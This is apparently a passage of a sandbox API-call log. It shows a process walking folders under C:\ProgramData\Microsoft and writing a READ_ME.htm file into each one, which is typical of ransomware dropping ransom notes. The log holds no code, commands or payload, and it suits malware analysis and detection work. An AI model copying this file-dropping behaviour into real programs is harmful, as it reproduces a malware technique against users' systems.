[0139.404] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0xa7a637b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0xa7a637b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7a637b0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x36755980, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x12640, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1 [0139.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7a637b0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x36755980, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x12640, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 0 [0139.406] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.406] SetErrorMode (uMode=0x0) returned 0x1 [0139.407] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", lpFilePart=0x0) returned 0x3f [0139.407] SetErrorMode (uMode=0x1) returned 0x0 [0139.407] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0xa7a637b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0xa7a637b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7a637b0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x36755980, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x12640, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1 [0139.408] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7a637b0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x36755980, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x12640, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 0 [0139.408] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.408] SetErrorMode (uMode=0x0) returned 0x1 [0139.408] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0139.409] SetErrorMode (uMode=0x1) returned 0x0 [0139.409] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.409] GetFileType (hFile=0x1d0) returned 0x1 [0139.409] SetErrorMode (uMode=0x0) returned 0x1 [0139.409] GetFileType (hFile=0x1d0) returned 0x1 [0139.410] WriteFile (in: hFile=0x1d0, lpBuffer=0x28881d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28881d8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.411] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\READ_ME.htm", lpFilePart=0x0) returned 0x45 [0139.411] SetErrorMode (uMode=0x1) returned 0x0 [0139.411] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.412] GetFileType (hFile=0x1d0) returned 0x1 [0139.412] SetErrorMode (uMode=0x0) returned 0x1 [0139.412] GetFileType (hFile=0x1d0) returned 0x1 [0139.412] WriteFile (in: hFile=0x1d0, lpBuffer=0x288c7b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x288c7b8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.414] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC", lpFilePart=0x0) returned 0x1c [0139.414] SetErrorMode (uMode=0x1) returned 0x0 [0139.414] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*" (normalized: "c:\\programdata\\microsoft\\rac\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0139.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x500a78e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0139.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0139.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca666710, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0139.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca666710, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0139.415] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.415] SetErrorMode (uMode=0x0) returned 0x1 [0139.415] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC", lpFilePart=0x0) returned 0x1c [0139.415] SetErrorMode (uMode=0x1) returned 0x0 [0139.415] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*" (normalized: "c:\\programdata\\microsoft\\rac\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0139.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x500a78e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0139.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5ef190f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5ef190f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0139.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca666710, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0139.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca666710, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xca666710, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0139.416] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.416] SetErrorMode (uMode=0x0) returned 0x1 [0139.416] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Outbound", lpFilePart=0x0) returned 0x25 [0139.417] SetErrorMode (uMode=0x1) returned 0x0 [0139.417] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*" (normalized: "c:\\programdata\\microsoft\\rac\\outbound\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.417] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.418] SetErrorMode (uMode=0x0) returned 0x1 [0139.418] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Outbound", lpFilePart=0x0) returned 0x25 [0139.418] SetErrorMode (uMode=0x1) returned 0x0 [0139.418] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*" (normalized: "c:\\programdata\\microsoft\\rac\\outbound\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.418] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.418] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.418] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.418] SetErrorMode (uMode=0x0) returned 0x1 [0139.419] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\READ_ME.htm", lpFilePart=0x0) returned 0x31 [0139.419] SetErrorMode (uMode=0x1) returned 0x0 [0139.419] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\rac\\outbound\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.419] SetErrorMode (uMode=0x0) returned 0x1 [0139.419] GetFileType (hFile=0x1d0) returned 0x1 [0139.420] WriteFile (in: hFile=0x1d0, lpBuffer=0x2894018*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2894018*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.421] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\PublishedData", lpFilePart=0x0) returned 0x2a [0139.421] SetErrorMode (uMode=0x1) returned 0x0 [0139.421] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x500a78e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x500a78e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39034be0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x429a90a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1 [0139.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39034be0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x429a90a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0 [0139.422] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.422] SetErrorMode (uMode=0x0) returned 0x1 [0139.422] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\PublishedData", lpFilePart=0x0) returned 0x2a [0139.422] SetErrorMode (uMode=0x1) returned 0x0 [0139.422] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x500a78e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.423] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x500a78e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x500a78e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.423] FindNextFileW (in: hFindFile=0x2fe5d0, 